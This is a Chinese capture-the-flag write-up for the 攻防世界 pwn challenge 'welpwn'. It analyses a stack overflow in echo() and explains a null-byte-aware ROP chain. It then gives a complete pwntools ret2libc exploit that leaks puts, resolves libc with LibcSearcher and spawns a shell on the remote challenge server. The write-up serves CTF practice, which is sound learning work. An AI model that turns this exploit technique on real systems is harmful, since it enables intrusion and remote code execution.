攻防世界 - pwn - welpwn

echo函數(shù)中有明顯的棧溢出:

void echo(char *buf)

{
  int iVar1;
  char local_18 [16];
  
  for (i = 0; buf[i] != '\0'; i += 1) {
    local_18[i] = buf[i];
  }
  local_18[i] = '\0';
  iVar1 = strcmp("ROIS",local_18);
  if (iVar1 == 0) {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  printf("%s",local_18);
  return;
}

本地的buf復制時未做邊界檢查,但這里和通常的棧溢出算偏移量再做ROP有差異,也是這道題最巧妙的地方,進入echo函數(shù)時的所有輸入已經(jīng)留在上一個函數(shù)棧幀中了,然而buf的復制給了覆蓋返回地址的手段,先放出做ROP時棧的分布,然后解釋原因:



在echo函數(shù)中的原本的輸入是從返回地址之后的位置開始的,填充一些后可以覆蓋返回地址,buf復制中止的條件是讀到'\0'字節(jié),用ropper或ROPgadget找到的gadget地址高位字節(jié)均為'\0':



復制的字節(jié)將在遇到第一個gadget時停止,此時gadget低位地址仍會被復制,于是寫真正的ROP鏈需要將這些用于填充的無用字節(jié)從棧中剔除出去,很自然的聯(lián)想到用多個pop來處理,用于pop多余字節(jié)的gadget也需要從棧中剔除,所以有了第一張圖中的ROP鏈設計。

剩下的就是ret2libc環(huán)節(jié)了,看了別人的WP最后也用了Libcsearcher這一工具,可以在libc信息未知的情況下根據(jù)got表中庫函數(shù)的地址推測libc的版本并給出函數(shù)或字符串在libc中的偏移量,寫exp:

from pwn import *
from LibcSearcher import *

context(log_level="debug", arch="amd64", os="linux")
# r = process("./welpwn")
r = remote("111.200.241.244", 62161)
elf = ELF("./welpwn")
pop_4 = 0x40089c
pop_rdi = 0x4008a3

junk = cyclic(24) + p64(pop_4)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
payload1 = junk + rop.chain()
r.recvuntil("Welcome to RCTF\n")
r.send(payload1)
r.recvuntil("Welcome to RCTF\n")
puts = u64(r.recv()[-7:-1] + b"\x00\x00")
log.debug("puts:" + hex(puts))

libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc.dump("system") + libc_base
bin_sh = libc.dump("str_bin_sh") + libc_base

payload2 = junk + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.sendline(payload2)
r.interactive()

# 0x000000000040089c: pop r12; pop r13; pop r14; pop r15; ret;
# 0x00000000004008a3: pop rdi; ret;

比較奇怪的是IO,main中的"Welcome to RCTF\n"會先于ROP鏈中的puts(elf.got['puts'])打印出來,這大概率和write和printf的緩沖區(qū)輸出相關,但我在本地調(diào)試時打印順序是符合ROP鏈的,而且本地的libc沒有與Libcsearcher云上存的Libc庫匹配,這可能是因為本地的libc版本過新的原因,以后還是盡量調(diào)試pwninit后的elf文件。

?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

  • 歇了很長一段時間,終于開始了我的攻防世界pwn之路。立一個flag:每日一題,只能多不能少。 0x00 dice_...
    Adam_0閱讀 7,318評論 2 7
  • 先使用checksec查看文件屬性 RELRO會有Partial RELRO和FULL RELRO,如果開啟FUL...
    呼嚕84閱讀 1,119評論 0 2
  • 07.19 CTF特訓營---REVERSE閱讀P208——P 1、X86指令體系 寄存器組 匯編指令集:Inte...
    gufsicsxzf閱讀 1,807評論 0 0
  • 新手練習 CGfsb 簡單的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv閱讀 3,335評論 0 6
  • 一、bugkuctf pwn4(棧,ROP,system($0)) 圖1很容易看出來read函數(shù)棧溢出 緊接著就是...
    ywledoc閱讀 1,828評論 0 1

友情鏈接更多精彩內(nèi)容